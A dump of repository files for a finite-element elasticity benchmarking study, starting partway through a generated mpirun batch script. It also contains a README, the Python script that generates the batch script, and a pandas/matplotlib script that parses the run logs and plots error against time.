-n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"452_linE_nu_0.499999_deg_3_h_16_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"452_linE_nu_0.499999_deg_3_h_16_cpu_64_run_3.log\" \n\necho \"running nu: 0.499999 p: 3 h: 17 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"453_linE_nu_0.499999_deg_3_h_17_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"453_linE_nu_0.499999_deg_3_h_17_cpu_64_run_1.log\" \n\necho \"running nu: 0.499999 p: 3 h: 17 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"454_linE_nu_0.499999_deg_3_h_17_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"454_linE_nu_0.499999_deg_3_h_17_cpu_64_run_2.log\" \n\necho \"running nu: 0.499999 p: 3 h: 17 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"455_linE_nu_0.499999_deg_3_h_17_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"455_linE_nu_0.499999_deg_3_h_17_cpu_64_run_3.log\" \n\necho \"running nu: 0.499999 p: 4 h: 5 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"456_linE_nu_0.499999_deg_4_h_5_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"456_linE_nu_0.499999_deg_4_h_5_cpu_64_run_1.log\" \n\necho \"running nu: 0.499999 p: 4 h: 5 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"457_linE_nu_0.499999_deg_4_h_5_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"457_linE_nu_0.499999_deg_4_h_5_cpu_64_run_2.log\" \n\necho \"running nu: 0.499999 p: 4 h: 5 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"458_linE_nu_0.499999_deg_4_h_5_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"458_linE_nu_0.499999_deg_4_h_5_cpu_64_run_3.log\" \n\necho \"running nu: 0.499999 p: 4 h: 6 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"459_linE_nu_0.499999_deg_4_h_6_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"459_linE_nu_0.499999_deg_4_h_6_cpu_64_run_1.log\" \n\necho \"running nu: 0.499999 p: 4 h: 6 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"460_linE_nu_0.499999_deg_4_h_6_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"460_linE_nu_0.499999_deg_4_h_6_cpu_64_run_2.log\" \n\necho \"running nu: 0.499999 p: 4 h: 6 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"461_linE_nu_0.499999_deg_4_h_6_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"461_linE_nu_0.499999_deg_4_h_6_cpu_64_run_3.log\" \n\necho \"running nu: 0.499999 p: 4 h: 10 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"462_linE_nu_0.499999_deg_4_h_10_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"462_linE_nu_0.499999_deg_4_h_10_cpu_64_run_1.log\" \n\necho \"running nu: 0.499999 p: 4 h: 10 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"463_linE_nu_0.499999_deg_4_h_10_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"463_linE_nu_0.499999_deg_4_h_10_cpu_64_run_2.log\" \n\necho \"running nu: 0.499999 p: 4 h: 10 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"464_linE_nu_0.499999_deg_4_h_10_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"464_linE_nu_0.499999_deg_4_h_10_cpu_64_run_3.log\" \n\necho \"running nu: 0.499999 p: 4 h: 11 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"465_linE_nu_0.499999_deg_4_h_11_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"465_linE_nu_0.499999_deg_4_h_11_cpu_64_run_1.log\" \n\necho \"running nu: 0.499999 p: 4 h: 11 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"466_linE_nu_0.499999_deg_4_h_11_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"466_linE_nu_0.499999_deg_4_h_11_cpu_64_run_2.log\" \n\necho \"running nu: 0.499999 p: 4 h: 11 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"467_linE_nu_0.499999_deg_4_h_11_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"467_linE_nu_0.499999_deg_4_h_11_cpu_64_run_3.log\" \n\n" }, { "alpha_fraction": 0.6647058725357056, "alphanum_fraction": 0.7029411792755127, "avg_line_length": 29.909090042114258, "blob_id": "8e6b043b711c4aedb660fa59be8e48b53d94368a", "content_id": "0242e90dcca675abff713a1626f8c880230537b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 340, "license_type": "no_license", "max_line_length": 142, "num_lines": 11, "path": "/README.md", "repo_name": "ArashMehraban/ECOMASS", "src_encoding": "UTF-8", "text": "# ECOMASS\n\nRun with `Python3`. It appears `python2` does not support `subprocess`\n\n`linE_mms_bash_maker.py` writes the `mms_run.sh` file\n\n`mms_run.sh` file is run on Noether.\n\n`log_files` are Noether runs with 16, 32 and 64 cores for all `h` and runs with 1 and 4 cores for any `h < 25`. Every problem was run 3 times.\n\n![plot](df-res.png)\n" }, { "alpha_fraction": 0.4323718845844269, "alphanum_fraction": 0.4796975553035736, "avg_line_length": 36.925533294677734, "blob_id": "addbf2728e8f3632349aabb8fb7eb0d252146a17", "content_id": "1737238c1233be06c77440547cd16ebdfb228de3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3571, "license_type": "no_license", "max_line_length": 129, "num_lines": 94, "path": "/linE_mms_bash_maker.py", "repo_name": "ArashMehraban/ECOMASS", "src_encoding": "UTF-8", "text": "from collections import OrderedDict\nimport subprocess\n\n#nu Dict: {poly : h-list}\nnu3 = OrderedDict({1:[26,76,77,125], 2:[6,10,11,18,19], 3:[4,5,6,7], 4:[2, 3, 4]})\nnu49 = OrderedDict({2:[13,22,23,40,41], 3:[5,8,9,12,13], 4:[3,4,7,8,9]})\nnu49999 = OrderedDict({2:[38,96,97], 3:[8,16,17], 4:[4,5,6]})\nnu499999 = OrderedDict({2:[13,38,39,110], 3:[7,8,16,17], 4:[5,6,10,11]})\n\nnus = OrderedDict({0.3:nu3, 0.49:nu49, 0.49999:nu49999, 0.499999:nu499999})\n\nrepeat = 3\nnproc = [16, 32, 64]\n\nhsz = len([h for nu in nus for p in nus[nu] for h in nus[nu][p]])\n\ntotal_runs = repeat * len(nproc) * hsz\n\nprefix = [\"{0:03}\".format(i) for i in range(total_runs)]\n\nbash_file = \"mms_run.sh\"\n\nE = \"{:.2e}\".format(1e8)\n\n#extract below keywords and values from code AND indicate which folder to store them in\ngrep = \" | grep \\\"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\\\" > \"\nfolder_name = \"log_files/\"\n\n# Write bash file to be run \nf = open(bash_file, \"w\")\nf.write(\"#!/bin/bash\")\nf.write(\"\\n\\n\")\n\n#create user-defined folder_ame if it does not exists\nf.write(\"if [ ! -d \\\"\" + folder_name + \"\\\" ]\")\nf.write(\"\\n\")\nf.write(\"then\")\nf.write(\"\\n\")\nf.write(\" mkdir \" + folder_name)\nf.write(\"\\n\")\nf.write(\"fi\")\nf.write(\"\\n\\n\")\n\n#for Pandas data frame\nall_nps = []\nall_nus = []\nall_ps =[]\nall_hs = []\nall_rs = []\n\n#create run-scrip AND log files\n#log files: (ordered) prefix_problem_nu_deg_h_#cpu_#run.log\n# Example: 023_linE_nu_0.3_deg_2_h_18_cpu_4_run_2.log\nk=0\nfor np in nproc:\n for nu in nus:\n for p in nus[nu]:\n for h in nus[nu][p]:\n for r in range(1,repeat+1):\n all_nps.append(np)\n all_nus.append(nu)\n all_ps.append(p)\n all_hs.append(h)\n all_rs.append(r)\n #Screen output while running\n f.write(\"echo \\\"running nu: \" + str(nu) + \" p: \" + str(p) + \" h: \" + str(h) + \\\n \" on \" + str(np) + \" cores run \" + str(r) + \"...\\\"\")\n f.write(\"\\n\")\n #store the start of the run time in script (per run)\n f.write(\"START=$(date +%s.%N)\")\n f.write(\"\\n\")\n output_file = \"\\\"\" + prefix[k] + \"_linE_nu_\" + str(nu) + \"_deg_\" + str(p) + \\\n \"_h_\" + str(h) + \"_cpu_\" + str(np) + \"_run_\" + str(r) + \".log\\\" \"\n f.write(\"mpirun -n \" + str(np) + \" ./elasticity -degree \" + str(p) + \\\n \" -E \" + str(E) + \" -nu \" + str(nu) + \\\n \" -dm_plex_box_faces \" + str(h) + \",\" + str(h) + \",\" + str(h) + \\\n \" -forcing mms -log_view\" + \\\n grep + folder_name + output_file)\n k=k+1\n f.write(\"\\n\")\n f.write(\"command\")\n f.write(\"\\n\")\n #store the end of the run time in script (per run)\n f.write(\"END=$(date +%s.%N)\")\n f.write(\"\\n\")\n f.write(\"DIFF=$(echo \\\"$END - $START\\\" | bc)\")\n f.write(\"\\n\")\n #Append the time difference from script to the end of log file\n f.write(\"echo \\\"script run time: \\\"${DIFF} >> \" + folder_name + output_file)\n f.write(\"\\n\\n\")\nf.close()\n#make bash_file executable\nbash_cmd = [\"chmod\", \"+x\", bash_file]\nprocess = subprocess.Popen(bash_cmd, stdout=subprocess.PIPE)\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.49401092529296875, "alphanum_fraction": 0.5347919464111328, "avg_line_length": 34.868160247802734, "blob_id": "b108872d8e60155778b069668a2e72f26755d28d", "content_id": "7c8305aca456f7c307aa4f73d29580eda07c8b68", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14447, "license_type": "no_license", "max_line_length": 158, "num_lines": 402, "path": "/df-maker.py", "repo_name": "ArashMehraban/ECOMASS", "src_encoding": "UTF-8", "text": "import os\nimport sys\nimport pandas as pd\nimport numpy as np\nfrom collections import OrderedDict\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib.lines import Line2D\n\nclass AppCtx:\n pass\n\ndef parse_file_content(filename, appCtx):\n pass\n\ndef parse_filename(filename, appCtx):\n pass\n\ndef parse_log_files(folder_name, appCtx):\n #accumulate all filenames & drop the extension\n filenames=[]\n ext_sz = len(appCtx.filename_ext)\n for f in os.listdir(folder_name):\n if f[-ext_sz:] == appCtx.filename_ext:\n filenames.append(f)\n\n filenames_data = []\n if(appCtx.parse_filename):\n #extract data from filenames\n parse_filename = appCtx.parse_filename #function pointer\n for filename in filenames:\n filenames_data.append(parse_filename(filename,appCtx))\n \n #change directory to where log files are\n os.chdir(os.path.join(os.getcwd(),folder_name))\n\n #extract data from file contents\n files_data = []\n if(appCtx.parse_file_content):\n parse_file_content = appCtx.parse_file_content #function pointer\n for filename in filenames:\n files_data.append(parse_file_content(filename, appCtx)) \n\n #change durectory back to where you were\n os.chdir(\"..\")\n\n #return as numpy array\n return np.array(filenames_data), np.array(files_data)\n\ndef parse_filename_linE_noether(filename,appCtx):\n ext_sz = len(appCtx.filename_ext)\n f = filename[:-ext_sz].split('_')\n data = [] \n for i in range(len(f)):\n if i in appCtx.keep_idx:\n if f[i].isdigit() or f[i].replace('.', '', 1).isdigit():\n data.append(digitize(f[i]))\n return data\n\ndef parse_file_content_linE_noether(filename, appCtx):\n grep = appCtx.logfile_keywords\n file_data = []\n fd = open(filename, 'r')\n lines = fd.readlines()\n for line in lines:\n ll = line.strip().split()\n if grep[0] in line:\n file_data.append(int(ll[-1]))\n elif grep[1] in line:\n file_data.append(int(ll[-1]))\n elif grep[2] in line:\n file_data.append(float(ll[-3])) \n elif grep[3] in line:\n file_data.append(float(ll[-3]))\n elif grep[4] in line:\n file_data.append(float(ll[-1])) #\"{:.7e}\".format(float(ll[-1]))\n elif grep[5] in line:\n file_data.append(int(ll[7])) \n elif grep[6] in line:\n file_data.append(float(ll[2])) \n elif grep[7] in line:\n file_data.append(float(ll[-1]))\n if len(file_data) < len(grep):\n print(filename)\n fd.close()\n return file_data\n\ndef create_df_linE_noether(filenames_data , files_data):\n df_vals = np.concatenate((filenames_data , files_data), axis=1)\n \n # re-order columns (personal preference)\n # 0 1 2 3 4 5 6 7 8 9 10 11\n #['nu','deg','h','run', 'Global nodes','Total KSP Iterations', 'SNES Solve Time', 'DoFs/Sec in SNES', 'L2 Error', './elasticity', 'Time (sec):', 'script']\n df_order = [0,1,2,8,11,10,6,5,4,7,9,3];\n df_vals = df_vals[:,df_order]\n #rename columns\n df_cols = ['nu', 'p', 'h', 'L2 Error', 'Total Time(s)', 'Petsc Time(s)', 'Solve Time(s)', '#CG', '#DoF', 'MDoFs/Sec', 'np', 'run']\n\n #create DoF from 'Global nodes'\n df_vals[:,8] *= 3\n \n df = pd.DataFrame(df_vals, columns = df_cols)\n pd.set_option(\"display.max_rows\", None, \"display.max_columns\", None, 'display.width', None, 'display.max_colwidth', None)\n\n df = df.sort_values(['np', 'nu', 'p', 'h', 'run'], ascending = (True, True,True,True,True))\n\n repeat = 3\n df_tmp = df.to_numpy()\n r,c = df_tmp.shape\n\n df_np_vals = np.zeros((int(r/repeat), int(c-1)))\n k=0\n for i in range(0,r,repeat):\n for j in range(repeat):\n df_np_vals[k] += (df_tmp[i+j,0:-1])/repeat \n k=k+1\n\n df_np_cols = df_cols[0:-1] #drop 'run' column\n #create a final dataframe to return\n dff = pd.DataFrame(df_np_vals, columns = df_np_cols)\n\n dff[\"p\"] = dff[\"p\"].astype(int)\n dff[\"h\"] = dff[\"h\"].astype(int)\n dff[\"#CG\"] = dff[\"#CG\"].astype(int)\n dff[\"#DoF\"] = dff[\"#DoF\"].astype(int)\n dff[\"np\"] = dff[\"np\"].astype(int)\n return dff\n\ndef digitize(item):\n if '.' in item:\n item.replace('.', '', 1).isdigit()\n return float(item)\n elif item.isdigit():\n return int(item)\n else:\n return\n \n \ndef plot_conv_2D(df):\n #filters:\n #p \n p1 = df['p']==1\n p2 = df['p']==2\n p3 = df['p']==3\n p4 = df['p']==4\n \n #err_4 means error with the order of 10^(-4) \n err_4 = ((df['L2 Error'] < 1e-3) & (df['L2 Error'] > 1e-4))\n #err_5 means error with the order of 10^(-5)\n err_5 = ((df['L2 Error'] < 1e-4) & (df['L2 Error'] > 1e-5))\n #err_5 means error with the order of 10^(-6)\n err_6 = ((df['L2 Error'] < 1e-5) & (df['L2 Error'] > 1e-6))\n\n hp1 = df.where((p1))['h'].dropna().to_numpy()\n ep1 = df.where((p1))['L2 Error'].dropna().to_numpy()\n hp2 = df.where((p2))['h'].dropna().to_numpy()\n ep2 = df.where((p2))['L2 Error'].dropna().to_numpy()\n hp3 = df.where((p3))['h'].dropna().to_numpy()\n ep3 = df.where((p3))['L2 Error'].dropna().to_numpy()\n hp4 = df.where((p4))['h'].dropna().to_numpy()\n ep4 = df.where((p4))['L2 Error'].dropna().to_numpy()\n\n print('slope for p1 by truncating superlinear data:')\n s,bb = lin_reg_fit(np.log10(1./hp1[-6:-1]), np.log10(ep1[-6:-1]))\n print(s)\n\n hs= [hp1,hp2,hp3,hp4]\n errs = [ep1,ep2,ep3,ep4]\n\n plt_marker = [ '*','o', '^', 'p']\n plt_linestyle = ['.g','.r', '.b', '.k']\n for i in range(len(errs)):\n plt.loglog(1.0/hs[i], errs[i], plt_linestyle[i], marker=plt_marker[i], label='p{}'.format(i+1))\n if i == 0:\n continue\n else:\n print('slope for p{} based on all data:'.format(i+1))\n m , b = lin_reg_fit(np.log10(1.0/hs[i]),np.log10(errs[i]))\n print(m)\n \n plt.title('Error vs. h where h = 1/n')\n plt.legend(ncol = 2, loc=\"upper left\", shadow=True)\n plt.xlabel('h')\n plt.ylabel('Error', rotation=90)\n plt.savefig('conv.eps', format='eps')\n plt.savefig('conv.png')\n #plt.show()\n\n\ndef lin_reg_fit(x,y):\n\n if x.shape != y.shape:\n print('input size mismatch')\n else:\n n = x.size\n xy = x * y\n x_sq = x**2\n sum_x = np.sum(x)\n sum_y = np.sum(y)\n sum_xy = np.sum(x*y)\n sum_x_sq = np.sum(x_sq)\n #slope\n m = (n * sum_xy - sum_x * sum_y) /(n * sum_x_sq - sum_x**2)\n #b\n b = (sum_y - m * sum_x) / n\n return m, b\n\ndef run_conv():\n folder_name = 'convergence'\n filename_ext = '.log'\n #idx: 0 1 2 3 4 5 6 7 8 9 10 11\n # 293_linE_nu_0.499999_deg_3_h_8_cpu_64_run_3.log\n keep_idx = [3,5,7,11]\n\n logfile_keywords = ['Global nodes','Total KSP Iterations', 'SNES Solve Time', \\\n 'DoFs/Sec in SNES', 'L2 Error', './elasticity', 'Time (sec):', 'script']\n #line containing ./elasticity has number of processors\n appCtx=AppCtx()\n #filename attributes for appCtx\n appCtx.filename_ext = filename_ext\n appCtx.keep_idx = keep_idx\n appCtx.parse_filename = parse_filename_linE_noether #function pointer\n \n #file content attributes for appCtx\n appCtx.parse_file_content = parse_file_content_linE_noether #function pointer\n appCtx.logfile_keywords = logfile_keywords\n\n #parse files and filenames\n filenames_data , files_data = parse_log_files(folder_name, appCtx) \n #create a dataframe\n df = create_df_linE_noether(filenames_data , files_data)\n plot_conv_2D(df)\n\ndef plot_time_err(df):\n #filters:\n #p \n p1 = df['p']==1\n p2 = df['p']==2\n p3 = df['p']==3\n p4 = df['p']==4\n # np (num processors)\n np1 = df['np']== 1\n np4 = df['np']== 4\n np16 = df['np']==16\n np32 = df['np']==32\n np64 = df['np']==64\n # nu\n nu3 = df['nu']==0.3\n nu49 = df['nu']==0.49\n nu49999 = df['nu']==0.49999\n nu499999 = df['nu']>(0.49999) #For some reason nu499999 = df['nu']==0.499999 does not work!\n #\n #err_4 means error with the order of 10^(-4) \n err_4 = ((df['L2 Error'] < 1e-3) & (df['L2 Error'] > 1e-4))\n #err_5 means error with the order of 10^(-5)\n err_5 = ((df['L2 Error'] < 1e-4) & (df['L2 Error'] > 1e-5))\n #err_5 means error with the order of 10^(-6)\n err_6 = ((df['L2 Error'] < 1e-5) & (df['L2 Error'] > 1e-6))\n\n #np\n nps = [np1, np4, np16, np32, np64]\n\n #We have err_4, err_5 and err_6 for nu = 0.3 and nu = 0.49\n err_nu_comp = [err_4,err_5,err_6] \n\n proc=[1,4,16,32,64]\n pComp = [p1,p2,p3,p4]\n \n legend_elements = [Line2D([0], [0], marker='s', color='k', label='p1'),\n Line2D([0], [0], marker='s', color='b', label='p2'),\n Line2D([0], [0], marker='s', color='r', label='p3'),\n Line2D([0], [0], marker='s', color='g', label='p4'),\n Line2D([0], [0], marker='p', label='1 cpu', markersize=10),\n Line2D([0], [0], marker='*', label='4 cpu', markersize=10),\n Line2D([0], [0], marker='o', label='16 cpu', markersize=10),\n Line2D([0], [0], marker='^', label='32 cpu', markersize=10),\n Line2D([0], [0], marker='8', label='64 cpu', markersize=10)]\n\n #We'd plot accuracy versus time on a log-log chart with color for degree and marker size for number of cores.\n \n \n plt_marker = ['p', '*' , 'o', '^', '8']\n # p1 p2 p3 p4\n plt_color = ['k', 'b', 'r', 'g'] \n fig, ax = plt.subplots(2,2)\n for err in err_nu_comp:\n for i in range(len(pComp)):\n for j in range(len(nps)):\n tt = df.where((nu3 & pComp[i] & nps[j] & err))['Total Time(s)'].dropna()\n ee = df.where((nu3 & pComp[i] & nps[j] & err))['L2 Error'].dropna()\n ax[0][0].loglog(tt, ee, c=plt_color[i], marker=plt_marker[j]) \n ax[0][0].set_ylabel('Error')\n #ax[0][0].set_xlabel('Time(s)')\n ax[0][0].set_title(r'$\\nu = 0.3$')\n ax[0][0].legend(ncol=10, handles=legend_elements, loc=\"upper center\", bbox_to_anchor=(1.1, 1.25), shadow=True)\n\n #We have err_4 and err_5 for nu = 0.49999 and nu = 0.499999\n err_nu_incomp = [err_4,err_5]\n pIncomp = [p2,p3,p4]\n for err in err_nu_incomp:\n for i in range(len(pIncomp)):\n for j in range(len(nps)):\n tt = df.where((nu49 & pIncomp[i] & nps[j] & err))['Total Time(s)'].dropna()\n ee = df.where((nu49 & pIncomp[i] & nps[j] & err))['L2 Error'].dropna()\n ax[0][1].loglog(tt, ee, c=plt_color[i], marker=plt_marker[j]) \n ax[0][1].set_ylabel('Error')\n #ax[0][1].set_xlabel('Time(s)')\n ax[0][1].set_title(r'$\\nu = 0.49$')\n\n for err in err_nu_incomp:\n for i in range(len(pIncomp)):\n for j in range(len(nps)):\n tt = df.where((nu49999 & pIncomp[i] & nps[j] & err))['Total Time(s)'].dropna()\n ee = df.where((nu49999 & pIncomp[i] & nps[j] & err))['L2 Error'].dropna()\n ax[1][0].loglog(tt, ee, c=plt_color[i], marker=plt_marker[j]) \n ax[1][0].set_ylabel('Error')\n ax[1][0].set_xlabel('Time(s)')\n ax[1][0].set_title(r'$\\nu = 0.49999$')\n\n for err in err_nu_incomp:\n for i in range(len(pIncomp)):\n for j in range(len(nps)):\n tt = df.where((nu499999 & pIncomp[i] & nps[j] & err))['Total Time(s)'].dropna()\n ee = df.where((nu499999 & pIncomp[i] & nps[j] & err))['L2 Error'].dropna()\n ax[1][1].loglog(tt, ee, c=plt_color[i], marker=plt_marker[j]) \n ax[1][1].set_ylabel('Error')\n ax[1][1].set_xlabel('Time(s)')\n ax[1][1].set_title(r'$\\nu = 0.499999$')\n \n figure = plt.gcf() # get current figure\n figure.set_size_inches(32, 18) # set figure's size manually to your full screen (32x18)\n plt.show()\n\ndef plot_time_err_seaborn(df, x='Solve Time (s)', filename=None):\n import seaborn\n df.rename(columns={\n 'h': 'n',\n 'nu': 'ν',\n 'Solve Time(s)': 'Solve Time (s)',\n }, inplace=True)\n df['ν'] = df['ν'].apply(lambda x: '{:.6}'.format(x))\n df['Cost'] = df['Solve Time (s)'] * df['np']\n print(df.tail())\n nus = np.array([[0.3, 0.49], [0.49999, 0.499999]])\n grid = seaborn.relplot(\n data=df,\n col='ν',\n col_wrap=2,\n col_order='0.3 0.49999 0.49 0.499999'.split(),\n x=x,\n y='L2 Error',\n hue='p',\n size='np',\n sizes=(30, 300),\n alpha=0.7,\n palette='colorblind',\n )\n for ax in grid.axes:\n ax.set_xscale('log')\n ax.set_yscale('log')\n grid.tight_layout()\n if filename:\n plt.savefig(filename)\n plt.show()\n\n## plt.savefig('hp.eps', format='eps')\n\ndef run_time_err():\n folder_name = 'log_files'\n filename_ext = '.log'\n #idx: 0 1 2 3 4 5 6 7 8 9 10 11\n # 293_linE_nu_0.499999_deg_3_h_8_cpu_64_run_3.log\n keep_idx = [3,5,7,11]\n\n logfile_keywords = ['Global nodes','Total KSP Iterations', 'SNES Solve Time', \\\n 'DoFs/Sec in SNES', 'L2 Error', './elasticity', 'Time (sec):', 'script']\n #line containing ./elasticity has number of processors\n appCtx=AppCtx()\n #filename attributes for appCtx\n appCtx.filename_ext = filename_ext\n appCtx.keep_idx = keep_idx\n appCtx.parse_filename = parse_filename_linE_noether #function pointer\n \n #file content attributes for appCtx\n appCtx.parse_file_content = parse_file_content_linE_noether #function pointer\n appCtx.logfile_keywords = logfile_keywords\n\n #parse files and filenames\n filenames_data , files_data = parse_log_files(folder_name, appCtx) \n #create a dataframe\n df = create_df_linE_noether(filenames_data , files_data)\n #plot_time_err_seaborn(df, 'Solve Time (s)', 'error-time.png')\n plot_time_err_seaborn(df, 'Cost', 'error-cost.png')\n \n \n\nif __name__ == \"__main__\":\n\n #convergence plot\n #run_conv()\n 